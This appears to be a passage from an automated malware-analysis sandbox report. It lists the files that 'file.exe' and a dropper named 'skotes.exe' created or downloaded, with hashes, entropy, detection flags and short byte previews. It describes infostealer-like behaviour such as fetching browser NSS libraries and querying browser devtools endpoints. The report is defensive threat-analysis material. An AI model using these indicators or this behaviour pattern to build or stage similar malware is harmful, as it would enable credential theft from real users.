LTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f18810e1-8db1-41db-ae63-bb6ac398576c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44702
Entropy (8bit):	6.095966067855464
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB2wuHhDO6vP6OGbGHtazxLWK8DP8cGoup1Xl3jVz6:z/Ps+wsI7yOER6cdchu3VlXr4CRo1
MD5:	745532AF50B8A5C8835EDB46AB2BB469
SHA1:	F1864819A194BADCA070AA70A4553F90B699583F
SHA-256:	4F5060045D0C857C499CFCBEEAD457FCEE84DA7EB36C80FB05047FCF3A07E18D
SHA-512:	D291DD873E70C5F90D238F78DB4FE5E1F633234151CDA81ED14F96340A9527A351394937B3ADADD378196D35E3483EBB7DF79F4E1F2DE36C045212BC43E0F015
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fcc19cbf-9894-426d-a858-dcf323a9ccce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45745
Entropy (8bit):	6.087569703922987
Encrypted:	false
SSDEEP:	768:4MkbJrT8IeQc5d9p9MeuEhDO6vP6OGbGHtazxLWK8DP84H8DuPCAoAGoup1Xl3j8:4Mk1rT8H19p926cdiC+RoAhu3VlXr4Z
MD5:	0013331FFD80BB1E2C2639366D2662B7
SHA1:	60F4FDDBB17E28E7AF487B8FC56FFBF389BCF6DB
SHA-256:	86AFA8A69A7E40BDCEBDA98F9BBCEC44371BBBA784D7511F2751CD8924583EDC
SHA-512:	54F7FC656CBEAFA0C75C2565FB4ADFA4C45CFD599BDC39FC31324B2F89D6F2B116E5F8F001275044E63ACC22CBD0304E858E83FBF37317D4FD6943C84D6FD541
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732612162"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8495304665138765
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxoxl9Il8uBJlyMWyqrS1dJHPD7hu8SfMLd1rc:mVY3LDVuKZr7hqfN
MD5:	72EF3595766B660BB4D3AFA12168D730
SHA1:	7AE640110B28BDBFDDBF95F30ECFAD4270C594C8
SHA-256:	9E7495FF8E47382668DA319D3640D6796EE5ABA08D575260DB1A955EC5EA71D6
SHA-512:	04C00515D83A741E4AB1B21AFE2BA797ECAC1613A3BD1590587215C3638992E63C8391D6C0C01E6218E49C5C5D8A70415BC0568284F5181AE4F87504137AAC15
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.W.B.Q.+.s./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.L.D.a.C.Q.F.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997547273345543
Encrypted:	false
SSDEEP:	96:tY3LUtAtHZX8gHgOrf3fx+Wl6nH4TDO7m0jv9J:tqLCCZXJbjfeH4TDsd3
MD5:	3D7E5FF1BE46E72041C93BCAAE84DE41
SHA1:	738758C480335ADF2B878E5CBF8BA32EF11A8E8D
SHA-256:	189C6C464D973E0CB5B0C8F10BB9FD50F40911A491BCC9705EEE5FE95867E715
SHA-512:	31DCB795D622625DF4791908AD3A84ACF877567D0F6983D3CF8663B974EEB122D0215231CA5B532A53894679F1A45D7A33B86FC2DF57F692407C10CEAC99CE79
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".n.K.M.k.K.e.M./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.L.D.a.C.Q.F.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.90252293426314
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xsxl9Il8uBJl7PmUmlBh/OHjlgv1W8G4gYd/vc:aWY3L7uLlBh/OK1W8OB
MD5:	CFC4A49E54E0E025FAFD4D6F8B7FF71A
SHA1:	08575AD238FF922B4C61ACA28E9DADAB377B5019
SHA-256:	D328FAFD5C103B43EB92FDE6C526022A0B2454DFCB28BF7C2DDC81C82D76E0A4
SHA-512:	36F28A81B2364CA68591D2187A5E991AED2CA7D657B66554B715603BC0A13E595601AE2F1B9A0DC5D2880C5864EBB8AD50F34A436A76701A1CE325A1884D2006
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".w.U.+.0.W.L.R.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.L.D.a.C.Q.F.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3989740321154365
Encrypted:	false
SSDEEP:	96:6NnQAzVHQAaNnQQbQkNnQE9QQNnQ5RnR3dgEQ5RRNnQYQQNnQ4DQkNnQY3wQYRNK:6NANRNNNwRnR3SRRNjNFvNX3sRNK
MD5:	AB7DE4CEB079882B2459747823341761
SHA1:	8804DFC29359115E626CF5BE2A340471A1EFE033
SHA-256:	6384CD91F086FBAA3EF0957EE3AED19237FF019D6274063CEAD48A4E3DB59E9E
SHA-512:	604880D02F8DE8307350F8CA9FD04D0C3E3667438D36E989F1942C0C2FA2323F04A54EDCCCB366205C545391FD3FC498FF02DE15BDA6B04A3AE53100FD586EC8
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CC811811FFB94C79800F551C0D0CA6BB",.. "id": "CC811811FFB94C79800F551C0D0CA6BB",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CC811811FFB94C79800F551C0D0CA6BB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/31B397BB91F4B447D141090BC45DB20F",.. "id": "31B397BB91F4B447D141090BC45DB20F",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/31B397BB91F4B447D141090BC45DB20F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1785344
Entropy (8bit):	7.944523528584782
Encrypted:	false
SSDEEP:	49152:woefc2gUyHcqm0QD22qg/5LKI75mJKqkwKIT:w5fcFUyHm0C221mIqz
MD5:	E7423CD132A8B0550213C0FB9175AE31
SHA1:	378D1048FECB53673EA33B910AE2D8AE08E578A5
SHA-256:	A80A31D0C26650521C50DF60611832E214A9FDE86A8EAE0CA3D05356AE9E0E63
SHA-512:	7F35984008878A5BBBDCA9BA891304720669F631EC6F4560DBF148BCBABC61434502A0313BED93EEEAF01691335732A06B70C7B8A228D4F6946419910EE0BB73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$.......0h...........@..........................`h..........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...zqmibjwx......N......x..............@...nsixqmkw..... h.....................@....taggant.0...0h.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378757460286624
Encrypted:	false
SSDEEP:	48:SfNaoQt6CTEQtqfNaoQ+ygQ+TfNaoQJQnfNaoQJ0UrU0U8Q5:6NnQt6CTEQtyNnQQQINnQJQfNnQJ0UrK
MD5:	75AD6799DB8479C156EDF73073A37971
SHA1:	CCF12ABA71FB7B609C114AADCB10729FCBD4EFF2
SHA-256:	B0630E6C0B77244CBBF44F2ED2A779C2E11BFBDA663D28CE21A922A400B4BF93
SHA-512:	C42A7B9B960F5955CBE7CCB69CC8D0EAA80006BBDB660AFA5488C3664A68A928788B5580982319078962B48274B196FA239F8814F40C3CF24B8AA0C63EC522EF
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/140EA7A7B9821C8D8BB14D9306838A1F",.. "id": "140EA7A7B9821C8D8BB14D9306838A1F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/140EA7A7B9821C8D8BB14D9306838A1F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6AA013C846CED1C6EA0DBE797018C82F",.. "id": "6AA013C846CED1C6EA0DBE797018C82F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6AA013C846CED1C6EA0DBE797018C82F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.950842055511683
Encrypted:	false
SSDEEP:	49152:OnTmXYvCKjlfQkDrDWWo/fGSpM48Spzk1OJK:OTMY6KJ4GyWw+48SimK
MD5:	B136D71B7374063413830DB122AEDE59
SHA1:	443C7629C02F9B95DD36C11DABFFFD4C01DC89E6
SHA-256:	E7DC2940DE34F5FE0350F2EDA5E1EAAA1CFB7675453F3B421EDFEF5174BBCA5E
SHA-512:	F9EE75B93B0568948B14EDC93D5C70A66DC78AF3D79674057131DB49D3197FA44B990C80C91ECA9B52F8EBA20BE897A2BDD9AC79583167032A441D173F217B75
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....[.....@.................................W...k.......D.....................J.............................d.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .@*.........................@...hrzfzjyg......0.....................@...dakuuilr......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1871872
Entropy (8bit):	7.946361813963525
Encrypted:	false
SSDEEP:	49152:Ixa93nKGzsmUhaVaN/VpuCuLfBUPFkNAWmcNfQj:mGLvtIN/DBuLfo6ffQ
MD5:	C0027647C26AF68B744A4BE6494BDEBD
SHA1:	B8FD87584D9EAC22277E16C022E04AC12A9C7478
SHA-256:	B735699C90385DD43F7C72897FEE81AA998D7FB7FBB070639E5FB3AB20251548
SHA-512:	FF05626D5679B51ECC5362E2EC4BCBC2AF85A0E137728F32C0602DFA856EC154C8E40D0E15BE1B8951DB35496A4F790927514C17416C2733AF245E5A3277DA3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Eg.............................0J...........@..........................`J.....2.....@.................................\...p....p.............................................................................................................. . .`.......\..................@....rsrc........p.......l..............@....idata .............n..............@... ..*..........p..............@...qlwzmoic..... 0......r..............@...qmvughcn..... J......h..............@....taggant.0...0J.."...n..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592497102487716
